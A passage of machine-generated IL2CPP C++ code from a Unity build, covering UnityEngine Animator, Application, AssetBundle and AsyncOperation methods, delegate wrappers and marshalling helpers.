AnimatorTransitionInfo_get_nameHash_m460043277(_thisAdjusted, method); } // System.Int32 UnityEngine.AnimatorTransitionInfo::get_userNameHash() extern "C" int32_t AnimatorTransitionInfo_get_userNameHash_m971244190 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_m_UserName_1(); V_0 = L_0; goto IL_000d; } IL_000d: { int32_t L_1 = V_0; return L_1; } } extern "C" int32_t AnimatorTransitionInfo_get_userNameHash_m971244190_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorTransitionInfo_t2410896200 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorTransitionInfo_get_userNameHash_m971244190(_thisAdjusted, method); } // System.Single UnityEngine.AnimatorTransitionInfo::get_normalizedTime() extern "C" float AnimatorTransitionInfo_get_normalizedTime_m2741999844 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) { float V_0 = 0.0f; { float L_0 = __this->get_m_NormalizedTime_3(); V_0 = L_0; goto IL_000d; } IL_000d: { float L_1 = V_0; return L_1; } } extern "C" float AnimatorTransitionInfo_get_normalizedTime_m2741999844_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorTransitionInfo_t2410896200 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorTransitionInfo_get_normalizedTime_m2741999844(_thisAdjusted, method); } // System.Boolean UnityEngine.AnimatorTransitionInfo::get_anyState() extern "C" bool AnimatorTransitionInfo_get_anyState_m3474272231 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) { bool V_0 = false; { bool L_0 = __this->get_m_AnyState_4(); V_0 = L_0; goto IL_000d; } IL_000d: { bool L_1 = V_0; return L_1; } } extern "C" bool AnimatorTransitionInfo_get_anyState_m3474272231_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorTransitionInfo_t2410896200 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorTransitionInfo_get_anyState_m3474272231(_thisAdjusted, method); } // System.Boolean UnityEngine.AnimatorTransitionInfo::get_entry() extern "C" bool AnimatorTransitionInfo_get_entry_m1140118520 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) { bool V_0 = false; { int32_t L_0 = __this->get_m_TransitionType_5(); V_0 = (bool)((((int32_t)((((int32_t)((int32_t)((int32_t)L_0&(int32_t)2))) == ((int32_t)0))? 1 : 0)) == ((int32_t)0))? 1 : 0); goto IL_0015; } IL_0015: { bool L_1 = V_0; return L_1; } } extern "C" bool AnimatorTransitionInfo_get_entry_m1140118520_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorTransitionInfo_t2410896200 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorTransitionInfo_get_entry_m1140118520(_thisAdjusted, method); } // System.Boolean UnityEngine.AnimatorTransitionInfo::get_exit() extern "C" bool AnimatorTransitionInfo_get_exit_m3018502934 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) { bool V_0 = false; { int32_t L_0 = __this->get_m_TransitionType_5(); V_0 = (bool)((((int32_t)((((int32_t)((int32_t)((int32_t)L_0&(int32_t)4))) == ((int32_t)0))? 1 : 0)) == ((int32_t)0))? 1 : 0); goto IL_0015; } IL_0015: { bool L_1 = V_0; return L_1; } } extern "C" bool AnimatorTransitionInfo_get_exit_m3018502934_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorTransitionInfo_t2410896200 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorTransitionInfo_get_exit_m3018502934(_thisAdjusted, method); } // System.Void UnityEngine.Application::CallLowMemory() extern "C" void Application_CallLowMemory_m626389230 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Application_CallLowMemory_m626389230_MetadataUsageId); s_Il2CppMethodInitialized = true; } LowMemoryCallback_t642977590 * V_0 = NULL; { LowMemoryCallback_t642977590 * L_0 = ((Application_t354826772_StaticFields*)Application_t354826772_il2cpp_TypeInfo_var->static_fields)->get_lowMemory_0(); V_0 = L_0; LowMemoryCallback_t642977590 * L_1 = V_0; if (!L_1) { goto IL_0013; } } { LowMemoryCallback_t642977590 * L_2 = V_0; NullCheck(L_2); LowMemoryCallback_Invoke_m3371329310(L_2, /*hidden argument*/NULL); } IL_0013: { return; } } // System.Boolean UnityEngine.Application::get_isPlaying() extern "C" bool Application_get_isPlaying_m4091950718 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { typedef bool (*Application_get_isPlaying_m4091950718_ftn) (); static Application_get_isPlaying_m4091950718_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Application_get_isPlaying_m4091950718_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Application::get_isPlaying()"); return _il2cpp_icall_func(); } // System.Boolean UnityEngine.Application::get_isEditor() extern "C" bool Application_get_isEditor_m2474583393 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { typedef bool (*Application_get_isEditor_m2474583393_ftn) (); static Application_get_isEditor_m2474583393_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Application_get_isEditor_m2474583393_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Application::get_isEditor()"); return _il2cpp_icall_func(); } // UnityEngine.RuntimePlatform UnityEngine.Application::get_platform() extern "C" int32_t Application_get_platform_m3989224144 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { typedef int32_t (*Application_get_platform_m3989224144_ftn) (); static Application_get_platform_m3989224144_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Application_get_platform_m3989224144_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Application::get_platform()"); return _il2cpp_icall_func(); } // System.Void UnityEngine.Application::set_runInBackground(System.Boolean) extern "C" void Application_set_runInBackground_m3543179741 (Il2CppObject * __this /* static, unused */, bool ___value0, const MethodInfo* method) { typedef void (*Application_set_runInBackground_m3543179741_ftn) (bool); static Application_set_runInBackground_m3543179741_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Application_set_runInBackground_m3543179741_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Application::set_runInBackground(System.Boolean)"); _il2cpp_icall_func(___value0); } // System.String UnityEngine.Application::get_cloudProjectId() extern "C" String_t* Application_get_cloudProjectId_m1225478614 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { typedef String_t* (*Application_get_cloudProjectId_m1225478614_ftn) (); static Application_get_cloudProjectId_m1225478614_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Application_get_cloudProjectId_m1225478614_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Application::get_cloudProjectId()"); return _il2cpp_icall_func(); } // System.Void UnityEngine.Application::CallLogCallback(System.String,System.String,UnityEngine.LogType,System.Boolean) extern "C" void Application_CallLogCallback_m3408386792 (Il2CppObject * __this /* static, unused */, String_t* ___logString0, String_t* ___stackTrace1, int32_t ___type2, bool ___invokedOnMainThread3, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Application_CallLogCallback_m3408386792_MetadataUsageId); s_Il2CppMethodInitialized = true; } LogCallback_t1867914413 * V_0 = NULL; LogCallback_t1867914413 * V_1 = NULL; { bool L_0 = ___invokedOnMainThread3; if (!L_0) { goto IL_001e; } } { LogCallback_t1867914413 * L_1 = ((Application_t354826772_StaticFields*)Application_t354826772_il2cpp_TypeInfo_var->static_fields)->get_s_LogCallbackHandler_1(); V_0 = L_1; LogCallback_t1867914413 * L_2 = V_0; if (!L_2) { goto IL_001d; } } { LogCallback_t1867914413 * L_3 = V_0; String_t* L_4 = ___logString0; String_t* L_5 = ___stackTrace1; int32_t L_6 = ___type2; NullCheck(L_3); LogCallback_Invoke_m3921378796(L_3, L_4, L_5, L_6, /*hidden argument*/NULL); } IL_001d: { } IL_001e: { LogCallback_t1867914413 * L_7 = ((Application_t354826772_StaticFields*)Application_t354826772_il2cpp_TypeInfo_var->static_fields)->get_s_LogCallbackHandlerThreaded_2(); V_1 = L_7; LogCallback_t1867914413 * L_8 = V_1; if (!L_8) { goto IL_0033; } } { LogCallback_t1867914413 * L_9 = V_1; String_t* L_10 = ___logString0; String_t* L_11 = ___stackTrace1; int32_t L_12 = ___type2; NullCheck(L_9); LogCallback_Invoke_m3921378796(L_9, L_10, L_11, L_12, /*hidden argument*/NULL); } IL_0033: { return; } } extern "C" void DelegatePInvokeWrapper_LogCallback_t1867914413 (LogCallback_t1867914413 * __this, String_t* ___condition0, String_t* ___stackTrace1, int32_t ___type2, const MethodInfo* method) { typedef void (STDCALL *PInvokeFunc)(char*, char*, int32_t); PInvokeFunc il2cppPInvokeFunc = reinterpret_cast(((Il2CppDelegate*)__this)->method->methodPointer); // Marshaling of parameter '___condition0' to native representation char* ____condition0_marshaled = NULL; ____condition0_marshaled = il2cpp_codegen_marshal_string(___condition0); // Marshaling of parameter '___stackTrace1' to native representation char* ____stackTrace1_marshaled = NULL; ____stackTrace1_marshaled = il2cpp_codegen_marshal_string(___stackTrace1); // Native function invocation il2cppPInvokeFunc(____condition0_marshaled, ____stackTrace1_marshaled, ___type2); // Marshaling cleanup of parameter '___condition0' native representation il2cpp_codegen_marshal_free(____condition0_marshaled); ____condition0_marshaled = NULL; // Marshaling cleanup of parameter '___stackTrace1' native representation il2cpp_codegen_marshal_free(____stackTrace1_marshaled); ____stackTrace1_marshaled = NULL; } // System.Void UnityEngine.Application/LogCallback::.ctor(System.Object,System.IntPtr) extern "C" void LogCallback__ctor_m898185969 (LogCallback_t1867914413 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Void UnityEngine.Application/LogCallback::Invoke(System.String,System.String,UnityEngine.LogType) extern "C" void LogCallback_Invoke_m3921378796 (LogCallback_t1867914413 * __this, String_t* ___condition0, String_t* ___stackTrace1, int32_t ___type2, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { LogCallback_Invoke_m3921378796((LogCallback_t1867914413 *)__this->get_prev_9(),___condition0, ___stackTrace1, ___type2, method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if (__this->get_m_target_2() != NULL && ___methodIsStatic) { typedef void (*FunctionPointerType) (Il2CppObject *, void* __this, String_t* ___condition0, String_t* ___stackTrace1, int32_t ___type2, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),___condition0, ___stackTrace1, ___type2,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else if (__this->get_m_target_2() != NULL || ___methodIsStatic) { typedef void (*FunctionPointerType) (void* __this, String_t* ___condition0, String_t* ___stackTrace1, int32_t ___type2, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),___condition0, ___stackTrace1, ___type2,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef void (*FunctionPointerType) (void* __this, String_t* ___stackTrace1, int32_t ___type2, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(___condition0, ___stackTrace1, ___type2,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult UnityEngine.Application/LogCallback::BeginInvoke(System.String,System.String,UnityEngine.LogType,System.AsyncCallback,System.Object) extern "C" Il2CppObject * LogCallback_BeginInvoke_m2485641857 (LogCallback_t1867914413 * __this, String_t* ___condition0, String_t* ___stackTrace1, int32_t ___type2, AsyncCallback_t163412349 * ___callback3, Il2CppObject * ___object4, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (LogCallback_BeginInvoke_m2485641857_MetadataUsageId); s_Il2CppMethodInitialized = true; } void *__d_args[4] = {0}; __d_args[0] = ___condition0; __d_args[1] = ___stackTrace1; __d_args[2] = Box(LogType_t1559732862_il2cpp_TypeInfo_var, &___type2); return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback3, (Il2CppObject*)___object4); } // System.Void UnityEngine.Application/LogCallback::EndInvoke(System.IAsyncResult) extern "C" void LogCallback_EndInvoke_m1910375855 (LogCallback_t1867914413 * __this, Il2CppObject * ___result0, const MethodInfo* method) { il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); } extern "C" void DelegatePInvokeWrapper_LowMemoryCallback_t642977590 (LowMemoryCallback_t642977590 * __this, const MethodInfo* method) { typedef void (STDCALL *PInvokeFunc)(); PInvokeFunc il2cppPInvokeFunc = reinterpret_cast(((Il2CppDelegate*)__this)->method->methodPointer); // Native function invocation il2cppPInvokeFunc(); } // System.Void UnityEngine.Application/LowMemoryCallback::.ctor(System.Object,System.IntPtr) extern "C" void LowMemoryCallback__ctor_m4181659636 (LowMemoryCallback_t642977590 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Void UnityEngine.Application/LowMemoryCallback::Invoke() extern "C" void LowMemoryCallback_Invoke_m3371329310 (LowMemoryCallback_t642977590 * __this, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { LowMemoryCallback_Invoke_m3371329310((LowMemoryCallback_t642977590 *)__this->get_prev_9(), method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if ((__this->get_m_target_2() != NULL || MethodHasParameters((MethodInfo*)(__this->get_method_3().get_m_value_0()))) && ___methodIsStatic) { typedef void (*FunctionPointerType) (Il2CppObject *, void* __this, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef void (*FunctionPointerType) (void* __this, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult UnityEngine.Application/LowMemoryCallback::BeginInvoke(System.AsyncCallback,System.Object) extern "C" Il2CppObject * LowMemoryCallback_BeginInvoke_m4289414595 (LowMemoryCallback_t642977590 * __this, AsyncCallback_t163412349 * ___callback0, Il2CppObject * ___object1, const MethodInfo* method) { void *__d_args[1] = {0}; return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback0, (Il2CppObject*)___object1); } // System.Void UnityEngine.Application/LowMemoryCallback::EndInvoke(System.IAsyncResult) extern "C" void LowMemoryCallback_EndInvoke_m299183046 (LowMemoryCallback_t642977590 * __this, Il2CppObject * ___result0, const MethodInfo* method) { il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); } // System.Void UnityEngine.AssemblyIsEditorAssembly::.ctor() extern "C" void AssemblyIsEditorAssembly__ctor_m2639706522 (AssemblyIsEditorAssembly_t1557026495 * __this, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.AssetBundleCreateRequest::.ctor() extern "C" void AssetBundleCreateRequest__ctor_m2967025878 (AssetBundleCreateRequest_t1038783543 * __this, const MethodInfo* method) { { AsyncOperation__ctor_m2914860946(__this, /*hidden argument*/NULL); return; } } // UnityEngine.AssetBundle UnityEngine.AssetBundleCreateRequest::get_assetBundle() extern "C" AssetBundle_t2054978754 * AssetBundleCreateRequest_get_assetBundle_m2931245245 (AssetBundleCreateRequest_t1038783543 * __this, const MethodInfo* method) { typedef AssetBundle_t2054978754 * (*AssetBundleCreateRequest_get_assetBundle_m2931245245_ftn) (AssetBundleCreateRequest_t1038783543 *); static AssetBundleCreateRequest_get_assetBundle_m2931245245_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AssetBundleCreateRequest_get_assetBundle_m2931245245_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AssetBundleCreateRequest::get_assetBundle()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.AssetBundleCreateRequest::DisableCompatibilityChecks() extern "C" void AssetBundleCreateRequest_DisableCompatibilityChecks_m3752941663 (AssetBundleCreateRequest_t1038783543 * __this, const MethodInfo* method) { typedef void (*AssetBundleCreateRequest_DisableCompatibilityChecks_m3752941663_ftn) (AssetBundleCreateRequest_t1038783543 *); static AssetBundleCreateRequest_DisableCompatibilityChecks_m3752941663_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AssetBundleCreateRequest_DisableCompatibilityChecks_m3752941663_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AssetBundleCreateRequest::DisableCompatibilityChecks()"); _il2cpp_icall_func(__this); } // Conversion methods for marshalling of: UnityEngine.AssetBundleRequest extern "C" void AssetBundleRequest_t2674559435_marshal_pinvoke(const AssetBundleRequest_t2674559435& unmarshaled, AssetBundleRequest_t2674559435_marshaled_pinvoke& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void AssetBundleRequest_t2674559435_marshal_pinvoke_back(const AssetBundleRequest_t2674559435_marshaled_pinvoke& marshaled, AssetBundleRequest_t2674559435& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.AssetBundleRequest extern "C" void AssetBundleRequest_t2674559435_marshal_pinvoke_cleanup(AssetBundleRequest_t2674559435_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.AssetBundleRequest extern "C" void AssetBundleRequest_t2674559435_marshal_com(const AssetBundleRequest_t2674559435& unmarshaled, AssetBundleRequest_t2674559435_marshaled_com& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void AssetBundleRequest_t2674559435_marshal_com_back(const AssetBundleRequest_t2674559435_marshaled_com& marshaled, AssetBundleRequest_t2674559435& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.AssetBundleRequest extern "C" void AssetBundleRequest_t2674559435_marshal_com_cleanup(AssetBundleRequest_t2674559435_marshaled_com& marshaled) { } // System.Void UnityEngine.AssetBundleRequest::.ctor() extern "C" void AssetBundleRequest__ctor_m2870261062 (AssetBundleRequest_t2674559435 * __this, const MethodInfo* method) { { AsyncOperation__ctor_m2914860946(__this, /*hidden argument*/NULL); return; } } // UnityEngine.Object UnityEngine.AssetBundleRequest::get_asset() extern "C" Object_t1021602117 * AssetBundleRequest_get_asset_m624603186 (AssetBundleRequest_t2674559435 * __this, const MethodInfo* method) { typedef Object_t1021602117 * (*AssetBundleRequest_get_asset_m624603186_ftn) (AssetBundleRequest_t2674559435 *); static AssetBundleRequest_get_asset_m624603186_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AssetBundleRequest_get_asset_m624603186_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AssetBundleRequest::get_asset()"); return _il2cpp_icall_func(__this); } // UnityEngine.Object[] UnityEngine.AssetBundleRequest::get_allAssets() extern "C" ObjectU5BU5D_t4217747464* AssetBundleRequest_get_allAssets_m3314852268 (AssetBundleRequest_t2674559435 * __this, const MethodInfo* method) { typedef ObjectU5BU5D_t4217747464* (*AssetBundleRequest_get_allAssets_m3314852268_ftn) (AssetBundleRequest_t2674559435 *); static AssetBundleRequest_get_allAssets_m3314852268_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AssetBundleRequest_get_allAssets_m3314852268_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AssetBundleRequest::get_allAssets()"); return _il2cpp_icall_func(__this); } // Conversion methods for marshalling of: UnityEngine.AsyncOperation extern "C" void AsyncOperation_t3814632279_marshal_pinvoke(const AsyncOperation_t3814632279& unmarshaled, AsyncOperation_t3814632279_marshaled_pinvoke& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void AsyncOperation_t3814632279_marshal_pinvoke_back(const AsyncOperation_t3814632279_marshaled_pinvoke& marshaled, AsyncOperation_t3814632279& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.AsyncOperation extern "C" void AsyncOperation_t3814632279_marshal_pinvoke_cleanup(AsyncOperation_t3814632279_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.AsyncOperation extern "C" void AsyncOperation_t3814632279_marshal_com(const AsyncOperation_t3814632279& unmarshaled, AsyncOperation_t3814632279_marshaled_com& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void AsyncOperation_t3814632279_marshal_com_back(const AsyncOperation_t3814632279_marshaled_com& marshaled, AsyncOperation_t3814632279& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.AsyncOperation extern "C" void AsyncOperation_t3814632279_marshal_com_cleanup(AsyncOperation_t3814632279_marshaled_com& marshaled) { } // System.Void UnityEngine.AsyncOperation::.ctor() extern "C" void AsyncOperation__ctor_m2914860946 (AsyncOperation_t3814632279 * __this, const MethodInfo* method) { { YieldInstruction__ctor_m2014522928(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.AsyncOperation::InternalDestroy() extern "C" void AsyncOperation_InternalDestroy_m3312061823 (AsyncOperation_t3814632279 * __this, const MethodInfo* method) { typedef void (*AsyncOperation_InternalDestroy_m3312061823_ftn) (AsyncOperation_t3814632279 *); static AsyncOperation_InternalDestroy_m3312061823_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AsyncOperation_InternalDestroy_m3312061823_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AsyncOperation::InternalDestroy()"); _il2cpp_icall_func(__this); } // System.Void UnityEngine.AsyncOperation::Finalize() extern "C" void AsyncOperation_Finalize_m67522446 (AsyncOperation_t3814632279 * __this, const MethodInfo* method) { Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { } IL_0001: try { // begin try (depth: 1) AsyncOperation_InternalDestroy_m3312061823(__this, /*hidden argument*/NULL); IL2CPP_LEAVE(0x13, FINALLY_000c); } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_000c; } FINALLY_000c: { // begin finally (depth: 1) Object_Finalize_m4087144328(__this, /*hidden argument*/NULL); IL2CPP_END_FINALLY(12) } // end finally (depth: 1) IL2CPP_CLEANUP(12) { IL2CPP_JUMP_TBL(0x13, IL_0013) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_0013: { return; } } // System.Boolean UnityEngine.AsyncOperation::get_isDone() extern "C" bool AsyncOperation_get_isDone_m1085614149 (AsyncOperation_t3814632279 * __this, const MethodInfo* method) { typedef bool (*AsyncOperation_get_isDone_m1085614149_ftn) (AsyncOperation_t3814632279 *); static AsyncOperation_get_isDone_m1085614149_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AsyncOperation_get_isDone_m1085614149_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AsyncOperation::get_isDone()"); return _il2cpp_icall_func(__this); } // System.Single UnityEngine.AsyncOperation::get_progress() extern "C" float AsyncOperation_get_progress_m478775228 (AsyncOperation_t3814632279 * __this, const MethodInfo* method) { typedef float (*AsyncOperation_get_progress_m478775228_ftn) (AsyncOperation_t3814632279 *); static AsyncOperation_get_progress_m478775228_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AsyncOperation_get_progress_m478775228_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AsyncOperation::get_progress()"); return _il2cpp_icall_func(__this); } // System.Int32 UnityEngine.AsyncOperation::get_priority() extern "C" int32_t AsyncOperation_get_priority_m966065939 (AsyncOperation_t3814632279 * __this, const MethodInfo* method) { typedef int32_t (*AsyncOperation_get_priority_m966065939_ftn) (AsyncOperation_t3814632279 *); static AsyncOperation_get_priority_m966065939_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AsyncOperation_get_priority_m966065939_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AsyncOperation::get_priority()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.AsyncOperation::set_priority(System.Int32) extern "C" void AsyncOperation_set_priority_m3581020444 (AsyncOperation_t3814632279 * __this, int32_t ___value0, const MethodInfo* method) { typedef void (*AsyncOperation_set_priority_m3581020444_ftn) (AsyncOperation_t3814632279 *, int32_t); static AsyncOperation_set_priority_m3581020444_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AsyncOperation_set_priority_m3581020444_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AsyncOperation::set_priority(System.Int32)"); _il2cpp_icall_func(__this, ___value0); } // System.Boolean UnityEngine.AsyncOperation::get_allowSceneActivation() extern "C" bool AsyncOperation_get_allowSceneActivation_m2825451182 (AsyncOperation_t3814632279 * __this, const MethodInfo* method) { typedef bool (*AsyncOperation_get_allowSceneActivation_m2825451182_ftn) (AsyncOperation_t3814632279 *); static AsyncOperation_get_allowSceneActivation_m2825451182_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AsyncOperation_get_allowSceneActivation_m2825451182_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AsyncOperation::get_allowSceneActivation()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.AsyncOperation::set_allowSceneActivation(System.Boolean) extern "C" void AsyncOperation_set_allowSceneActivation_m3988498951 (AsyncOperation_t3814632279 * __this, bool ___value0, const MethodInfo* method) { typedef void (*AsyncOperation_set_allowSceneActivation_m3988498951_ftn) (AsyncOperation_t3814632279 *, bool); static AsyncOperation_set_allowSceneActivation_m3988498951_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AsyncOperation_set_allowSceneActivation_m3988498951_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AsyncOperation::set_allowSceneActivation(System.Boolean)"); _il2cpp_icall_func(__this, ___value0); } // System.Type UnityEngine.AttributeHelperEngine::GetParentTypeDisallowingMultipleInclusion(System.Type) extern "C" Type_t * AttributeHelperEngine_GetParentTypeDisallowingMultipleInclusion_m685343645 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AttributeHelperEngine_GetParentTypeDisallowingMultipleInclusion_m685343645_MetadataUsageId); s_Il2CppMethodInitialized = true; } Stack_1_t2391531380 * V_0 = NULL; Type_t * V_1 = NULL; ObjectU5BU5D_t3614634134* V_2 = NULL; int32_t V_3 = 0; Type_t * V_4 = NULL; { Stack_1_t2391531380 * L_0 = (Stack_1_t2391531380 